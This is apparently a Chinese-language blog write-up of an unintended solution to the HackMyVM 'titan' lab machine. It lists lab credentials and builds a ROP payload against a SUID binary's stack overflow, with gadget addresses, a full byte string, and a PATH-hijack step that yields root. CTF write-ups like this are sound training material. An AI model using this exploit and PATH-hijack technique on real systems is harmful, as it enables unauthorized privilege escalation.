hackmyvm titan非预期解

前面web部分与其他writeup相同,略去

从得到用户名密码:prometheus/iloveallhumans 开始

在用户目录下发现suid程序:

 拖进ida分析:

 存在栈溢出,有个关键函数:

 64位程序,未开启ASLR,开启了PIE,默认基址为0x555555554000

 失误:上图中echo要换成cat(对不起兄弟,我太搞笑了:)

 

栈布置思路:

padding + thief_addr +  pop_rdi_addr + str_address + call_system_addr

thief_addr = 0x555555554000 + 0x0000000000001185 = 0x0000555555555185

 pop_rdi_addr = 0x555555554000 + 0x12ab = 0x00005555555552ab

 取fire的最后一个字母e的地址为str的地址:

str_addr =  0x555555554000 + 0x2018  = 0x0000555555556018

call_system_addr = 0x555555554000 + 0x00000000000011A4 = 0x00005555555551a4

payload = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x85\x51\x55\x55\x55\x55\x00\x00\xab\x52\x55\x55\x55\x55\x00\x00\x18\x60\x55\x55\x55\x55\x00\x00\xa4\x51\x55\x55\x55\x55\x00\x00"

在当前目录创建与str同名的文件e:

chmod +x e

export PATH=.:$PATH

 获取root.

 

posted on 2025-03-27 23:01  he110wor1d  阅读(62)  评论(0)    收藏  举报